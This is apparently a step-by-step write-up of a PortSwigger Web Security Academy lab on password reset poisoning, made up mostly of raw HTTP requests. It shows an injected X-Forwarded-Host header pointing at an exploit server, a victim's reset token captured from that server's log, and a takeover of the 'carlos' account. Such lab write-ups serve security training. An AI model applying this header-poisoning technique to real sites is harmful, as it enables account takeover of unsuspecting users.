Skip to content

Port Swigger Password reset poisoning via middlewa

Password reset poisoning via middleware

Solution

Reset password for user wiener

https://0a5e008a032340bc8254516300c500c9.web-security-academy.net/forgot-password
---
GET /forgot-password HTTP/2
Host: 0a5e008a032340bc8254516300c500c9.web-security-academy.net
Cookie: session=feFC6GZT6o7A9T27ut8GSfxxoeUzgat9
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: https://0a5e008a032340bc8254516300c500c9.web-security-academy.net/login
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
---
POST /forgot-password HTTP/2
Host: 0a5e008a032340bc8254516300c500c9.web-security-academy.net
Cookie: session=feFC6GZT6o7A9T27ut8GSfxxoeUzgat9
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
Origin: https://0a5e008a032340bc8254516300c500c9.web-security-academy.net
Referer: https://0a5e008a032340bc8254516300c500c9.web-security-academy.net/forgot-password
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers

username=wiener

Open mailbox - wiener

GET /email HTTP/2
Host: exploit-0ab400f2034b40568258500501bd00d0.exploit-server.net
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: https://exploit-0ab400f2034b40568258500501bd00d0.exploit-server.net/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
---
GET /forgot-password?temp-forgot-password-token=vf32pwavuf5zwbb7rtzpg15svrubge9c HTTP/2
Host: 0a5e008a032340bc8254516300c500c9.web-security-academy.net
Cookie: session=feFC6GZT6o7A9T27ut8GSfxxoeUzgat9
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: https://exploit-0ab400f2034b40568258500501bd00d0.exploit-server.net/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers

Setup a new password for wiener

POST /forgot-password?temp-forgot-password-token=vf32pwavuf5zwbb7rtzpg15svrubge9c HTTP/2
Host: 0a5e008a032340bc8254516300c500c9.web-security-academy.net
Cookie: session=feFC6GZT6o7A9T27ut8GSfxxoeUzgat9
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 103
Origin: https://0a5e008a032340bc8254516300c500c9.web-security-academy.net
Referer: https://0a5e008a032340bc8254516300c500c9.web-security-academy.net/forgot-password?temp-forgot-password-token=vf32pwavuf5zwbb7rtzpg15svrubge9c
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers

temp-forgot-password-token=vf32pwavuf5zwbb7rtzpg15svrubge9c&new-password-1=qwerty&new-password-2=qwerty

Edit request: /forgot-password

I added a new header X-Forwarded-Host with value: exploit-0ab400f2034b40568258500501bd00d0.exploit-server.net (it is my exploit server)
I modified username from wiener to carlos
---
POST /forgot-password HTTP/2
Host: 0a5e008a032340bc8254516300c500c9.web-security-academy.net
X-Forwarded-Host: exploit-0ab400f2034b40568258500501bd00d0.exploit-server.netw
Cookie: session=feFC6GZT6o7A9T27ut8GSfxxoeUzgat9
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
Origin: https://0a5e008a032340bc8254516300c500c9.web-security-academy.net
Referer: https://0a5e008a032340bc8254516300c500c9.web-security-academy.net/forgot-password
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers

username=carlos

Check access log on the exploit server

https://exploit-0ab400f2034b40568258500501bd00d0.exploit-server.net/log
I found: temp-forgot-password-token=0ydfc3afhvafhrf1xt9vx97epi7ul9k6
---
...
...
93.157.117.71   2026-01-07 10:41:20 +0000 "GET /log HTTP/1.1" 200 "user-agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0"
93.157.117.71   2026-01-07 10:41:20 +0000 "GET /resources/css/labsDark.css HTTP/1.1" 200 "user-agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0"
93.157.117.71   2026-01-07 10:41:30 +0000 "GET /log HTTP/1.1" 200 "user-agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0"
93.157.117.71   2026-01-07 10:41:30 +0000 "GET /resources/css/labsDark.css HTTP/1.1" 200 "user-agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0"
10.0.3.64       2026-01-07 10:42:09 +0000 "GET /forgot-password?temp-forgot-password-token=0ydfc3afhvafhrf1xt9vx97epi7ul9k6 HTTP/1.1" 404 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 
...
...

Change password for user: carlos

POST /forgot-password?temp-forgot-password-token=0ydfc3afhvafhrf1xt9vx97epi7ul9k6 HTTP/2
Host: 0a5e008a032340bc8254516300c500c9.web-security-academy.net
Cookie: session=feFC6GZT6o7A9T27ut8GSfxxoeUzgat9
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 103
Origin: https://0a5e008a032340bc8254516300c500c9.web-security-academy.net
Referer: https://0a5e008a032340bc8254516300c500c9.web-security-academy.net/forgot-password?temp-forgot-password-token=vf32pwavuf5zwbb7rtzpg15svrubge9c
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers

temp-forgot-password-token=0ydfc3afhvafhrf1xt9vx97epi7ul9k6&new-password-1=qwerty&new-password-2=qwerty

Login as user: carlos

https://0a5e008a032340bc8254516300c500c9.web-security-academy.net/my-account?id=carlos
---
POST /login HTTP/2
Host: 0a5e008a032340bc8254516300c500c9.web-security-academy.net
Cookie: session=feFC6GZT6o7A9T27ut8GSfxxoeUzgat9
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 31
Origin: https://0a5e008a032340bc8254516300c500c9.web-security-academy.net
Referer: https://0a5e008a032340bc8254516300c500c9.web-security-academy.net/login
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers

username=carlos&password=qwerty
---
GET /my-account?id=carlos HTTP/2
Host: 0a5e008a032340bc8254516300c500c9.web-security-academy.net
Cookie: session=aYBnyFW95hXI2TUTS5eCTxgqyg8ANOjQ
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: https://0a5e008a032340bc8254516300c500c9.web-security-academy.net/login
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers

Solved